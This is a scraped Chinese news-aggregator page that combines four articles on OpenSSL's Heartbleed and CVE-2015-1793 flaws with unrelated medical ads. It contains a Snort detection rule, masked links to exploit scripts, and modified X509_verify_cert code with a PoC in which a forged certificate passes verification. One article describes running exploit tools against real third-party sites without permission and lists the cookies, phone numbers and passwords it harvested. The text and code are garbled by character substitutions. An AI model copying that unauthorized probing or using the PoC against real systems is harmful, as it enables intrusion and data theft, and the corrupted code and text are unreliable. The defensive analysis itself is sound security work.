科技网

当前位置: 首页 >VR

openssl漏洞21万主机还没有修复OpenSSL漏洞邮箱VPN服务占多数

VR
来源: 作者: 2019-05-17 13:53:35

1 : 221万主机还没有修复OpenSSL漏洞 邮箱VPN服务占多数

OpenSSL“心脏出血”漏洞给邮箱系统和VPN系统带来重大安全要挟。由于这些产品和服务修复方案不统1,进而影响了整体修复进程。360网络攻防实验室发布的最新数据显示,在全球未修复该漏洞的221万台主机中,近4成触及邮件系统和企业VPN服务。

OpenSSL“心脏出血”漏洞曝出后,国内各大网站、互联网服务商及安全公司迅速行动起来,及时提示和修复存在OpenSSL漏洞的网站和服务,并推出了OpenSSL检测工具、漏洞修复软件,以最大限度下降漏洞对网友的危害。

图:全球还没有修复OpenSSL漏洞的主机散布

但据360网络攻防实验室4月12日统计数字,虽然OpenSSL“心脏出血”漏洞已公然曝出6天,但全球照旧有221万主机存在未修复该漏洞,其中,133.2万台是http网页主机,87.7万个台是邮箱邮件系统主机,1778台是企业VPN服务主机。

360网络攻防实验室通过对全球30多个国家和地区的互联网主机检测发现,受OpenSSL“心脏出血”漏洞影响的主机端口不但包括443端口(http,网页服务),还有994端口(IMAP,交互邮件服务)、995端口(POP3,网络邮局服务)、465端口(SMTP,简单邮件传输服务)、5222端口(XMPP,即时通讯服务)、1194端口(VPN,虚拟专用网络服务)。由此致使,大批邮箱系统、企业政府专用VPN服务中也存在该漏洞。

4月9日,北京大学和清华大学就曝出,其校园专用的VPN服务不断收到针对OpenSSL漏洞的攻击扫描,分别采取了“降级”等不同处理方案才修复。

由于这些产品和服务的散布相对分散,并且相干服务商对该漏洞带来的要挟感知较弱,还有各个产品和服务的修复方案不统1,进而影响了整体修复时间进程。

360安全专家提示广大邮箱系统和VPN服务企业提供商,尽快修复该漏洞,以保障企业用户的使用安全。另外,360行将发布针对企业内网的OpenSSL漏洞检测工具,能够快速检测企业内网装备和服务主机上是不是存在该漏洞。

2 : OpenSSL漏洞补救办法详解(图文)

CVE⑵014-0160漏洞背景[www.loach.net.cn)2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE⑵014-0160)。OpenSSL Heartbleed模块存在1个BUG,问题存在于ssl/dl_both.c文件中的心跳部份,当攻击者构造1个特殊的数据包,满足用户心跳包中没法提供足够多的数据会致使memcpy函数把SSLv3记录以后的数据直接输出,该漏洞致使攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。

在目前已有的资料中,国内外同行已称本漏洞为 “击穿心脏”、“毁灭级”、“今年最严重”的漏洞。由于SSL协议是网络加密登陆认证、网络交易等的主流安全协议,而OpenSSL又是主流的SSL搭建平台。因此这些称呼好不为过,建议各网络服务提供者、管理机构和用户高度注意本漏洞的处理情况,希望广大用户做出相应的对策。

OpenSSL受影响版本的散布

根据已公然的信息,该漏洞影响散布情况以下。

1、OpenSSL 1.0.1f (受影响)

2、OpenSSL 1.0.2-beta (受影响)

3、OpenSSL 1.0.1g (不受影响)

4、OpenSSL 1.0.0 branch (不受影响)

5、OpenSSL 0.9.8 branch (不受影响)

处置建议以下

3.1 针对网络管理员,可以做的事情包括

鉴于本漏洞的严重程度,如果肯定本漏洞存在,对1般性的网络服务者,暂停服务进行处置是1种较好的应对策略。

如果肯定本漏洞存在,又必须保证服务不能停止,可以在漏洞修补进程中,暂时停止https服务,改用http服务,但这会带来相干认证信息明文传输的风险,具体利害需要做出谨慎的判断权衡。

具体修补方式为:

OpenSSL版本升级到最新的1.0.1g

重新生成你的私钥

要求和替换SSL的证书

也能够使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块,最新版本升级地址为:https://www.openssl.org/source/. (OpenSSL官方)

3.2 针对普通网络用户,我们慎重提出的建议包括

鉴于本漏洞的严重程度,在不能肯定你所网站和服务修补了本漏洞的情况下,在未来2~3天内(2014年4月9日日起)不登陆,不操作是1种较好的应对策略(这些操作包括网购、网银支付等)。

如果你必须进行操作,可以关注这些网站和服务的修改情况。

1些手机客户真个登陆,是对SSL的封装,因此手机登录也不安全。

其他安全企业团队会公布目前仍有问题的站点、或没有问题的站点情况,请予以关注。

分析与验证

目前该漏洞的利用和验证脚本已可以被广泛获得,地址包括。

http://fi****o.io/Heartbleed/ (web测试页面)

http://s3. ****guin.org/ssltest.py (python脚本)

http:// **.* u u.com/s/1nt3BnVB (python脚本)

虽然从安全团队的角度,我们不适合明文传播这些地址,但我们必须提示用户的是,几近所有的攻击者都已具有了相干资源,在过去24小时内,这1漏洞已遭到了极其广泛的探测和尝试。相信大多数有漏洞的站点均遭到了不止1次的攻击。

鉴于该漏洞的严重程度和攻击爆发事件,我们不能不打破搭建环境,测实验证的管理,

在第1时间,选择相对“轻量级”的网站做出直接验证,以分析其实际后果敏感信息。通过网络中已有的测试方法,我们寻觅到几个存在问题的网站进行分析,为了不行动失当,我们没有选择与金融、交易相干的站点。

存在问题的网站地址:

Ap***.*****.gov.cn (测试时间为2014-04-09 01:00)

my-****.in (测试时间为2014-04-09 01:10)

www.shu****.cn (测试时间为2014-04-09 01:15)

git****.com (测试时间为2014-04-09 01:20)

feng*****.com (测试时间为2014-04-09 01:30)

获得回来的相干信息情况以下:

图 1 测试网站1

通过漏洞利用工具发送数据后,返回的数据中可以看到有内网IP地址、路径等信息。

图 2 测试网站2

通过漏洞利用工具发送数据后,返回的数据中可以看到有APP信息、cookie信息和用户名信息等。

图 3 测试网站3

通过漏洞利用工具发送数据后,返回的数据中可以看到有手机号码等。

图 4 测试网站4

通过漏洞利用工具发送数据后,返回的数据中可以看到有信箱和密码等信息。

通过上面的几个网站的分析测试,发现该漏洞确切可以获得到带有敏感信息的内存内容。例如:用户的cookie信息、内网IP地址、用户名、密码、手机号、信箱等。如攻击者利用此漏洞对网络交易、证券、银行等网络进行攻击,那末将会获得到用户名、密码、银行账号等敏感信息。再次提示网站管理员和使用SSL协议连接网站的用户请尽快依照我们的处置建议进行操作。

网络检测相干方法

通用Snort规则检测

由于尽人皆知的SSL协议是加密的,我们目前没有找到提取可匹配规则的方法,我们尝试编写了1条基于返回数据大小的检测规则,其有效性我们会继续验证,如果有问题欢迎反馈。

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)

Snort规则说明:此次漏洞主要针对的SSL协议。是针对心跳数据包前4个字节中包括\x18\x03,而在数据包第5个字节和第6个字节的数值按大尾模式转化成数值在200和16385之间,在后面则是1些报警和过滤功能,日志记录里,每10分钟记录1次。扩大:openssl漏洞 / openssl 1.0.1e 漏洞 / openssl心脏出血漏洞

行动检测

从公共网络管理者的角度,可以从同1IP短时间探测多个443端口的网络连接角度进行检测。这样可以发现攻击者或肉鸡的大面积扫描行动。

另外由于攻击者可能定期性的进行数据延续获得,也能够从连接延续规律的时间性和首发数据数量的对照的角度进行检测。

其他

是不是相干攻击的主机痕迹和取证方式,我们正在验证。

扩大:openssl漏洞 / openssl 1.0.1e 漏洞 / openssl心脏出血漏洞

3 : OpenSSL-CVE⑵015⑴793漏洞分析

OpenSSL官方在7月9日发布了编号为 CVE⑵015⑴793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是1个绕过交叉链类型证书验证的高危漏洞,可让攻击者构造证书来绕过交叉验证,用来构成诸如“中间人”等情势的攻击。

0x01 漏洞基本原理

直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从1公共可信的 CA (C)处签得1证书 X,并以此证书签发另外一证书 V(含对X的交叉援用),那末攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

明显用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来讲,验证进程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而致使验证失败。

但在 openssl⑴.0.2c 版本,因在对交叉链的处理中,对最后1个不可信证书位置计数的毛病,致使本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。

0x02 具体漏洞分析

漏洞代码位于文件:openssl⑴.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:ctx->last_untrusted&ndash;;

对问题函数 X509_verify_cert 的简单分析:

( 为方便浏览,仅保存与证书验证强相干的代码,去掉了诸如变量定义、毛病处理、资源释放等非主要代码)

问题在于由 处加入颁发者时及 处验证(颁发者)后,证书链计数增加,但 最后1个不可信证书位置计数 并未增加, 而在 处去除进程中 最后1个不可信证书位置计数 额外减少了,致使后面验证进程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析以下

int X509_verify_cert(X509_STORE_CTX *ctx){ // 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain // STACK_OF(X509) *chain 将被构造为证书链,并终究送到 internal_verify() 中去验证 sk_X509_push(ctx->chain,ctx->cert); // 当前链长度(==1) num = sk_X509_num(ctx->chain); // 取出第 num 个证书 x = sk_X509_value(ctx->chain, num - 1); // 存在不信任链则复制之 if (ctx->untrusted != NULL && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) { X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); goto end; } // 预设定的最大链深度(100) depth = param->depth; // 构造需验证证书链 for (;;) { // 超长退出 if (depth break; // 遇自签退出(链顶) if (cert_self_signed(x)) break; if (ctx->untrusted != NULL) { xtmp = find_issuer(ctx, sktmp, x); // 当前证书为不信任颁发者(应需CA标志)颁发 if (xtmp != NULL) { // 则加入需验证链 if (!sk_X509_push(ctx->chain, xtmp)) { X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); goto end; } CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509); (void)sk_X509_delete_ptr(sktmp, xtmp); // 最后1个不可信证书位置计数 自增1 ctx->last_untrusted++; x = xtmp; num++; continue; } } break; } do { i = sk_X509_num(ctx->chain); x = sk_X509_value(ctx->chain, i - 1); // 若最顶证书是自签的 if (cert_self_signed(x)) { // 若需验证链长度 == 1 if (sk_X509_num(ctx->chain) == 1) { // 在可信链中查找其颁发者(找自己) ok = ctx->get_issuer(&xtmp, ctx, x); // 没找到或不是相同证书 if ((ok ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT; ctx->current_cert = x; ctx->error_depth = i - 1; if (ok == 1) X509_free(xtmp); bad_chain = 1; ok = cb(0, ctx); if (!ok) goto end; // 找到 } else { X509_free(x); x = xtmp; // 入到可信链 (void)sk_X509_set(ctx->chain, i - 1, x); // 最后1个不可信证书位置计数 置0 ctx->last_untrusted = 0; } // 最顶为自签证书 且 证书链长度>1 } else { // 弹出 chain_ss = sk_X509_pop(ctx->chain); // 最后1个不可信证书位置计数 自减 ctx->last_untrusted--; num--; j--; // 保持指向当前最顶证书 x = sk_X509_value(ctx->chain, num - 1); } } // // 继续构造证书链(加入颁发者) for (;;) { // 自签退出 if (cert_self_signed(x)) break; // 在可信链中查找其颁发者 ok = ctx->get_issuer(&xtmp, ctx, x); // 出错 if (ok return ok; // 没找到 if (ok == 0) break; x = xtmp; // 将不可信证书的颁发者(证书)加入需验证证书链 if (!sk_X509_push(ctx->chain, x)) { X509_free(xtmp); X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); return 0; } num++; } // // 验证 for(;;) 中加入的颁发者链 i = check_trust(ctx); if (i == X509_TRUST_REJECTED) goto end; retry = 0; // // 检查交叉链 if (i != X509_TRUST_TRUSTED && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) { while (j-- > 1) { xtmp2 = sk_X509_value(ctx->chain, j - 1); // 其实得到1个“看似公道”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者 ok = ctx->get_issuer(&xtmp, ctx, xtmp2); if (ok goto end; // 存在交叉链 if (ok > 0) { X509_free(xtmp); // 去除交叉链以上部份 while (num > j) { xtmp = sk_X509_pop(ctx->chain); X509_free(xtmp); num--; // // 问题所在 ctx->last_untrusted--; } // retry = 1; break; } } } } while (retry); ……}扩大:cve漏洞利用分析 / 2015cve漏洞利用分析 / cve 2015 1793

官方的解决方法是在 处重新计算 最后1个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 处的 最后1个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。 另外一个解决办法可以是在 后,在 处重置 最后1个不可信证书位置计数,加1行:

ctx->last_untrusted = num;

这样 处不用删除,而逻辑也是公道并前后1致的。

0x03 漏洞验证

笔者修改了部份代码并做了个Poc 。 修改代码:

int X509_verify_cert(X509_STORE_CTX *ctx){ X509 *x, *xtmp, *xtmp2, *chain_ss = NULL; int bad_chain = 0; X509_VERIFY_PARAM *param = ctx->param; int depth, i, ok = 0; int num, j, retry; int (*cb) (int xok, X509_STORE_CTX *xctx); STACK_OF(X509) *sktmp = NULL; if (ctx->cert == NULL) { X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY); return ⑴; } cb = ctx->verify_cb; /* * first we make sure the chain we are going to build is present and that * the first entry is in place */ if (ctx->chain == NULL) { if (((ctx->chain = sk_X509_new_null()) == NULL) || (!sk_X509_push(ctx->chain, ctx->cert))) { X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); goto end; } CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509); ctx->last_untrusted = 1; } /* We use a temporary STACK so we can chop and hack at it */ if (ctx->untrusted != NULL && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) { X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); goto end; } num = sk_X509_num(ctx->chain); x = sk_X509_value(ctx->chain, num - 1); depth = param->depth; for (;;) { /* If we have enough, we break */ if (depth break; /* FIXME: If this happens, we should take * note of it and, if appropriate, use the * X509_V_ERR_CERT_CHAIN_TOO_LONG error code * later. */ /* If we are self signed, we break */ if (cert_self_signed(x)) break; /* * If asked see if we can find issuer in trusted store first */ if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) { ok = ctx->get_issuer(&xtmp, ctx, x); if (ok return ok; /* * If successful for now free up cert so it will be picked up * again later. */ if (ok > 0) { X509_free(xtmp); break; } } /* If we were passed a cert chain, use it first */ if (ctx->untrusted != NULL) { xtmp = find_issuer(ctx, sktmp, x); if (xtmp != NULL) { if (!sk_X509_push(ctx->chain, xtmp)) { X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); goto end; } CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509); (void)sk_X509_delete_ptr(sktmp, xtmp); ctx->last_untrusted++; x = xtmp; num++; /* * reparse the full chain for the next one */ continue; } } break; } /* Remember how many untrusted certs we have */ j = num; /* * at this point, chain should contain a list of untrusted certificates. * We now need to add at least one trusted one, if possible, otherwise we * complain. */ do { /* * Examine last certificate in chain and see if it is self signed. */ i = sk_X509_num(ctx->chain); x = sk_X509_value(ctx->chain, i - 1); if (cert_self_signed(x)) { /* we have a self signed certificate */ if (sk_X509_num(ctx->chain) == 1) { /* * We have a single self signed certificate: see if we can * find it in the store. We must have an exact match to avoid * possible impersonation. */ ok = ctx->get_issuer(&xtmp, ctx, x); if ((ok ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT; ctx->current_cert = x; ctx->error_depth = i - 1; if (ok == 1) X509_free(xtmp); bad_chain = 1; ok = cb(0, ctx); if (!ok) goto end; } else { /* * We have a match: replace certificate with store * version so we get any trust settings. */ X509_free(x); x = xtmp; (void)sk_X509_set(ctx->chain, i - 1, x); ctx->last_untrusted = 0; } } else { /* * extract and save self signed certificate for later use */ chain_ss = sk_X509_pop(ctx->chain); ctx->last_untrusted--; num--; j--; x = sk_X509_value(ctx->chain, num - 1); } } /* We now lookup certs from the certificate store */ for (;;) { /* If we have enough, we break */ if (depth break; /* If we are self signed, we break */ if (cert_self_signed(x)) break; ok = ctx->get_issuer(&xtmp, ctx, x); if (ok return ok; if (ok == 0) break; x = xtmp; if (!sk_X509_push(ctx->chain, x)) { X509_free(xtmp); X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE); return 0; } num++; } /* we now have our chain, lets check it... */ i = check_trust(ctx); /* If explicitly rejected error */ if (i == X509_TRUST_REJECTED) goto end; /* * If it&#39;s not explicitly trusted then check if there is an alternative * chain that could be used. We only do this if we haven&#39;t already * checked via TRUSTED_FIRST and the user hasn&#39;t switched off alternate * chain checking */ retry = 0;////ctx->last_untrusted = num; if (i != X509_TRUST_TRUSTED && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) { while (j-- > 1) { xtmp2 = sk_X509_value(ctx->chain, j - 1); ok = ctx->get_issuer(&xtmp, ctx, xtmp2); if (ok goto end; /* Check if we found an alternate chain */ if (ok > 0) { /* * Free up the found cert we&#39;ll add it again later */ X509_free(xtmp); /* * Dump all the certs above this point - we&#39;ve found an * alternate chain */ while (num > j) { xtmp = sk_X509_pop(ctx->chain); X509_free(xtmp); num--; ctx->last_untrusted--; } retry = 1; break; } } } } while (retry); printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) ); /* * If not explicitly trusted then indicate error unless it&#39;s a single * self signed certificate in which case we&#39;ve indicated an error already * and set bad_chain == 1 */ if (i != X509_TRUST_TRUSTED && !bad_chain) { if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) { if (ctx->last_untrusted >= num) ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY; else ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT; ctx->current_cert = x; } else { sk_X509_push(ctx->chain, chain_ss); num++; ctx->last_untrusted = num; ctx->current_cert = chain_ss; ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN; chain_ss = NULL; } ctx->error_depth = num - 1; bad_chain = 1; ok = cb(0, ctx); if (!ok) goto end; }printf("flag=1\n"); /* We have the chain complete: now we need to check its purpose */ ok = check_chain_extensions(ctx); if (!ok) goto end; printf("flag=2\n"); /* Check name constraints */ ok = check_name_constraints(ctx); if (!ok) goto end;printf("flag=3\n"); ok = check_id(ctx); if (!ok) goto end;printf("flag=4\n"); /* We may as well copy down any DSA parameters that are required */ X509_get_pubkey_parameters(NULL, ctx->chain); /* * Check revocation status: we do this after copying parameters because * they may be needed for CRL signature verification. */ ok = ctx->check_revocation(ctx); if (!ok) goto end;printf("flag=5\n"); i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain, ctx->param->flags); if (i != X509_V_OK) { ctx->error = i; ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth); ok = cb(0, ctx); if (!ok) goto end; }printf("flag=6\n"); /* At this point, we have a chain and need to verify it */ if (ctx->verify != NULL) ok = ctx->verify(ctx); else ok = internal_verify(ctx); if (!ok) goto end;printf("flag=7\n");#ifndef OPENSSL_NO_RFC3779 /* RFC 3779 path validation, now that CRL check has been done */ ok = v3_asid_validate_path(ctx); if (!ok) goto end; ok = v3_addr_validate_path(ctx); if (!ok) goto end;#endif printf("flag=8\n"); /* If we get this far evaluate policies */ if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK)) ok = ctx->check_policy(ctx); if (!ok) goto end; if (0) { end: X509_get_pubkey_parameters(NULL, ctx->chain); } if (sktmp != NULL) sk_X509_free(sktmp); if (chain_ss != NULL) X509_free(chain_ss);printf("ok=%d\n", ok ); return ok;} Poc:?////里头的证书文件自己去找1个,这个不提供了//#include#include#include#include#include STACK_OF(X509) *load_certs_from_file(const char *file){ STACK_OF(X509) *certs; BIO *bio; X509 *x; bio = BIO_new_file( file, "r"); certs = sk_X509_new_null(); do { x = PEM_read_bio_X509(bio, NULL, 0, NULL); sk_X509_push(certs, x); }while( x != NULL ); return certs;} void test(void){ X509 *x = NULL; STACK_OF(X509) *untrusted = NULL; BIO *bio = NULL; X509_STORE_CTX *sctx = NULL; X509_STORE *store = NULL; X509_LOOKUP *lookup = NULL; store = X509_STORE_new(); lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() ); X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM); untrusted = load_certs_from_file("untrusted.pem"); bio = BIO_new_file("bad.pem", "r"); x = PEM_read_bio_X509(bio, NULL, 0, NULL); sctx = X509_STORE_CTX_new(); X509_STORE_CTX_init(sctx, store, x, untrusted); X509_verify_cert(sctx);} int main(void){ test(); return 0;}扩大:cve漏洞利用分析 / 2015cve漏洞利用分析 / cve 2015 1793

将代码中 X509_verify_cert() 函数加入输出信息以下: 编译,以捏造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功 将 处注释代码去掉,编译,再以捏造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败

0x04 安全建议

建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本

扩大:cve漏洞利用分析 / 2015cve漏洞利用分析 / cve 2015 1793

4 : OpenSSL 漏洞的原理简介

2014年4月8日晚,互联网爆出了又1重量级安全漏洞,即CVE⑵014-0160,通俗来说就是OpenSSL出现了安全漏洞。

说这个漏洞前,先介绍1下OpenSSL,OpenSSL是1个强大的安全套接字层密码库,很多支付网站等触及资金交易的平台都用它来做加密工具,比如支付宝,财付通,各种银行网站,那些带有Https网址的网站,都使用了这1套工具。也就是说它是1个保障账户安全的工具,而如今,这个保镳却被爆出本身就有严重漏洞,在https开头网址登录的网站,初步评估有很多于30%的网站中招。

简单说下攻击者是如何利用这个漏洞的:

OpenSSL的某个模块存在1个BUG,当攻击者构造1个特殊的数据包,满足用户心跳包中没法提供足够多的数据会致使memcpy把SSLv3记录以后的数据直接输出,该漏洞致使攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。

也就是说,当攻击者得到这64K数据后,就有可能从数据中得到当前用户的用户名,密码,Cookies等敏感信息,更要命的是,这是远程获得的,也就是攻击者只要在自己电脑上提反目意数据包,就可以从服务器上获得这些数据。不要认为区区64K问题不大,问题是攻击者可以反复提交,也就是能源于不断的得到“新的”64K,天经地义的包括了新的用户信息,由于网站的用户也是源源不断的嘛。

防范手段:

1.网站方面,管理员及时下载OpenSSL补钉,升级OpenSSL 1.0.1g,通知用户在升级期间不要登录网站。

2.用户方面,暂时不要登录各大支付网站,网上银行。等网站通知漏洞已修复再登录。

中医治疗小儿癫痫的优势是什么牛皮癣的护理方式邵阳治疗白癜风较好的方式

相关推荐